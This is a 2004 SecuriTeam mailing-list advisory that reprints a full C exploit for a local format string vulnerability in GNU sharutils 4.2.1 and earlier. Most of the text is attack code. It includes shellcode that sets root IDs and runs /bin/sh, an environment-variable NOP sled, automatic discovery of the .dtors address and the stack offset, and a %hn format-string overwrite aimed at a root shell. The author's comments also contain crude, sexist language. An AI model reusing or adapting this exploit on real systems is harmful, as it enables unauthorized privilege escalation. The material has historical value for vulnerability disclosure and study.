

[EXPL] Sharutils Format String Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-09/0058.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/25/04

To: list@securiteam.com

Date: 25 Sep 2004 14:05:58 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Sharutils Format String Vulnerability

SUMMARY

Below is an exploit code for a format string vulnerability found in the 'shar' utility. The exploit was tested on Slackware 9.0 and the return address is calculated accordingly.

DETAILS

Vulnerable Systems:

* Sharutils versions 4.2.1 and below.

Exploit Code:

```
/* GNU sharutils <= 4.2.1 Local Format String POC Code
```

```
C0ded by n4rk0tix (a.k.a nrktx) narkotix@linuxmail.org
```

Below is a 14m3 proof of concept code for da recently reported lame bug;

These binaryz have not only format bugz, but also buffer overflowz,etc.We also

exploited the heap and the stack hole of theze binaryz.There are almost 3 wayz of exploiting

theze elfz ,both of them r fucking boring , though, so this one is.

Securiteam: [EXPL] Sharutils Format String Vulnerability

```
candy@labs:/$ readelf -r `which shar` | grep uid
08050784 00000e07 R_386_JUMP_SLOT 08048d7c getpwuid
080507e0 00002807 R_386_JUMP_SLOT 08048eec getuid
candy@labs:/$
```

exploiting non-suid binariez is like fucking 55 yearz old woman, like i did in this code :-]

I'm again BACK from a long cisco trip, REGROUP TEAM, go go go... , need back up ! :]

Also some greetingz signaled to: Efnet,gotcha(love from .*za :]
,dm(my netmate from madagaskar),
genjuro(my lord a.k.a Uz4yh4N),L4M3R(vurun la ipnelere ehuehu,kibriti caktim, tinerici alisti ehuehe),
HELl0wEeN,darkhat,mathmonkey,mtrl(68000 guru),jawz,and the otherz whom i excluded them accidently :)

For More Info , read the below ascii trash. Thanx

```
_EOF_
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>

#define _GNU_SOURCE
#define DEFAULT_DTORS_SHAR (0x08050738) /*Tested on Slackware 9.0*/
#define DEFAULT_DTORS_UNSHAR (0x0804ad74) /* This is not exploitable
on every systemz */
#define DEFAULT_OFFSET_SHAR 22
#define DEFAULT_OFFSET_UNSHAR 262 /*lol, wtf stack layout do
i have :],Probably useless..*/
#define SHAR_PATH "/usr/bin/shar" /*Default $PATH change if
needed*/
#define UNSHAR_PATH "/usr/bin/unshar"
#define GET_DTORS_CMD "objdump -h %s | grep .dtors | awk ' { print $4 } '
> %s"
#define NOP 0x90

static int16_t WBIN = 2;

int main(void) {
```

Securiteam: [EXPL] Sharutils Format String Vulnerability

```
int16_t check_bin(void);
u_int32_t get_dtors(int8_t* path);
int16_t get_auto_stack_offset(int8_t *binpath);
void banner(void);

int8_t envbuf[1000];
int8_t store_env[1010];
int8_t *shar_path = SHAR_PATH;
int8_t *unshar_path = UNSHAR_PATH;
static u_int8_t shellcode[] = // setreuid(0,0)
    "\x31\xc0" // xor %eax,%eax
    "\x31\xdb" // xor %ebx,%ebx
    "\x31\xc9" // xor %ecx,%ecx
    "\xb0\x46" // mov $0x46,%al
    "\xcd\x80" // int $0x80

    // setgid(0)
    "\x31\xdb" // xor %ebx,%ebx
    "\x89\xd8" // mov %ebx,%eax
    "\xb0\x2e" // mov $0x2e,%al
    "\xcd\x80" // int $0x80

    // execve /bin/sh
    "\x31\xc0" // xor %eax,%eax
    "\x50" // push %eax
    "\x68\x2f\x2f\x73\x68" // push $0x68732f2f
    "\x68\x2f\x62\x69\x6e" // push $0x6e69622f
    "\x89\xe3" // mov %esp,%ebx
    "\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
    "\x50" // push %eax
    "\x53" // push %ebx
    "\x8d\x0c\x24" // lea (%esp,1),%ecx
    "\xb0\x0b" // mov $0xb,%al
    "\xcd\x80" // int $0x80

    // exit();
    "\x31\xc0" // xor %eax,%eax
    "\xb0\x01" // mov $0x1,%al
    "\xcd\x80"; // int $0x80

banner();
if(!check_bin())
exit(EXIT_FAILURE);

memset(envbuf,NOP,sizeof(envbuf));
strcpy((int8_t *)&envbuf[sizeof(envbuf) - strlen(shellcode)],shellcode);
memcpy(store_env,"CANDY=",6);
strcat(store_env,envbuf);
putenv(store_env);
if(!putenv) {
```

Securiteam: [EXPL] Sharutils Format String Vulnerability

```
if(errno == ENOMEM) {
    perror(errno);
    exit(EXIT_FAILURE);
}
}
const int8_t *USEBIN;
int16_t USE_OFFSET;

if(WBIN == 1){
    printf("[+]Exploiting the unshar binary\n");
    USEBIN = unshar_path;
}
if(WBIN == 2){
    printf("[+]Default binary is shar\n");
    USEBIN = shar_path;
}
if(WBIN == 3) {
    printf("[+]Exploiting Shar binary\n");
    USEBIN = shar_path;
}

int8_t store[200];

u_int32_t fakebuf = 0xbfffffff - strlen(store_env) -
    strlen("/usr/bin/shar") + 50;

u_int32_t write_dtors = get_dtors((int8_t *)USEBIN);
int8_t *dtors_target[3] =

    { (int8_t *) write_dtors + 2,
      (int8_t *) write_dtors,
      NULL
    };

int16_t env_most,
    env_low;

env_most = (fakebuf & 0xffff0000) >> 16 ;
env_low = (fakebuf & 0x0000ffff);

env_most -= 0x8;
USE_OFFSET = get_auto_stack_offset((int8_t *)USEBIN);

sprintf(store, "%s%%.%dx%%.%d$hn%%.%dx%%.%d$hn",

    &dtors_target,
    (u_int16_t)env_most,
    USE_OFFSET,
    (env_low - env_most) - 0x8,
```

Securiteam: [EXPL] Sharutils Format String Vulnerability

```
    USE_OFFSET + 1);

fprintf(stdout, "[+]Type some command,sh$ prompt may not occur\n");
fprintf(stdout, "[+]Terminal echoing is possibly off \n");
fprintf(stdout, "Type any shell command Here i.e 'id' or 'ps aux'\n");
execlp(USEBIN,USEBIN,store);
fflush(stdin);
fflush(stdout);
return EXIT_SUCCESS; // useless, never return
}

int16_t check_bin(void) {

    int8_t *filename_shar = SHAR_PATH;
    int8_t *filename_unshar = UNSHAR_PATH;
    int16_t i = 2;
    if( access(filename_shar,F_OK) != 0){
        fprintf(stderr, "%s Not found, Checking
%s\n",filename_shar,filename_unshar);
        i--;
        WBIN = 1;
    }

    if( access(filename_unshar,F_OK) != 0) {
        fprintf(stderr, "%s Not found\n",filename_unshar);
        i--;
        WBIN = (WBIN == 1) ? 0 : 3;
    }
    if(!i) {
        fprintf(stderr, "Sorry dude, no binary available for exploiting.\n");
        exit(EXIT_FAILURE);
    }
    fputs("[+]Binary checking passed\n",stdout);
    return(i);
}

u_int32_t get_dtors(int8_t* path) {

    FILE *readit;
    int *tmpfile;
    int8_t tmpfull[32];
    char *store_dtors;

    int16_t status;
    int16_t length;

    ssize_t read;
    u_int32_t findme;
    int8_t *dtorsbuf = NULL;
    bzero((int8_t *)tmpfull,sizeof(tmpfull));
```

Securiteam: [EXPL] Sharutils Format String Vulnerability

```
strncpy(tmpfull, "/tmp/candyXXXXXX", strlen("/tmp/candyXXXXXX"));
tmpfile = (int *)mkstemp((int8_t *)tmpfull);
int8_t *buffer = (int8_t *) malloc(100 * sizeof(int8_t *));
if(!malloc) { err(1,"malloc"); exit(EXIT_FAILURE); }

bzero(buffer,sizeof(buffer));
sprintf(buffer,100,GET_DTORS_CMD,path,tmpfull);
buffer[strlen(buffer)] = '\0';

int8_t *shar_path = SHAR_PATH;
status = system(buffer);

switch((status >> 8) & 0xff) {

    case 0:
        fprintf(stdout,"[+]Utilities check successful, no Need
Defaults\n");
        break;

    case !0:
        fprintf(stdout,"[+]Using default .Dtors address\n");
        findme = (path == shar_path) ? DEFAULT_DTORS_SHAR :
DEFAULT_DTORS_UNSHAR;
        goto GO_ON;

    default:
        fprintf(stdout,"[+]Using default .Dtors address\n");
        fprintf(stdout,"[+]Dtors address => 0x%x\n",DEFAULT_DTORS_SHAR
);
        findme = (path == shar_path) ? DEFAULT_DTORS_SHAR :
DEFAULT_DTORS_UNSHAR;
        goto GO_ON;
}

if ( ( readit = fopen(tmpfull,"rb")) == NULL ) {
    perror(errno);
    fprintf(stdout,"[+]Using default .Dtors address\n");
    findme = (path == shar_path) ? DEFAULT_DTORS_SHAR :
DEFAULT_DTORS_UNSHAR;
    goto GO_ON;
}
read = getline(&dtorsbuf,&length,readit);

fflush(readit);
dtorsbuf[strlen(dtorsbuf) - 1 ] = '\0';
findme = strtoul(dtorsbuf,&store_dtors,16);

fclose(readit);
```

Securiteam: [EXPL] Sharutils Format String Vulnerability

```
free(dtorsbuf);
unlink(tmpfull);
fprintf(stdout,"[+]Dtors address found => 0x%x\n",findme + 0x4);
GO_ON:
unlink(tmpfull); /* For System Crashes */
return(findme + 4);
}
```

```
int16_t get_auto_stack_offset(int8_t *binpath) {

int8_t *path = "/tmp/candy";
int8_t *buffer = (int8_t *)malloc(300*sizeof(int8_t));
int8_t *shar_path = SHAR_PATH;

FILE *fd;
static int8_t formatbuf[100];
const u_int8_t *end_the_format = "41414141";

int8_t *format_string = "%x";
int8_t prospath[40];

bzero(prospath,sizeof(prospath));
sprintf(prospath,"%s AAAA",binpath);
prospath[strlen(prospath)] = '\0';

static int16_t control = 1;
static int16_t offset = 1;
if ((fd = fopen(path,"wb")) == NULL) {
perror("fopen");
exit(1);
}
if(control != 1)
goto FIRSTJUMP;

fflush(stderr);
dup2(fileno(fd),2);

bzero(formatbuf,sizeof(formatbuf));
strncpy(formatbuf,prospath,strlen(prospath));

LOOP:
if ((fd = fopen(path,"wb")) == NULL) {
perror("fopen");
exit(1);
}
fflush(stderr);
dup2(fileno(fd),2);

FIRSTJUMP:
```

Securiteam: [EXPL] Sharutils Format String Vulnerability

```
control++;
strcat(formatbuf,format_string);

system(formatbuf);
fclose(fd);
usleep(9999);

fd = fopen(path,"rb");
if(fd == NULL){
perror("open");
fprintf(stdout,"[+]Using default Stack Offset \n");
offset = (binpath == shar_path) ? DEFAULT_OFFSET_SHAR :
DEFAULT_OFFSET_UNSHAR;
goto JUMP;
}

if(fgets(buffer,300,fd) != NULL){

    if( strstr(buffer,end_the_format) == NULL) {
    free(buffer);
    fclose(fd);
    offset++;
    goto LOOP;
    }

free(buffer);
fclose(fd);
unlink(path);
}
fprintf(stdout,"[+]Using Stack Offset %d\n",offset);
JUMP:
return(offset);
}

void banner(void) {
fputs("\tGNU SharUtils <= 4.2.1 Local Format String Exploit\n"
"\tnarkotix@linuxmail.org\n",stdout);
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:narkotix@linuxmail.org>>
n4rk0tix.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

Securiteam: [EXPL] Sharutils Format String Vulnerability

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.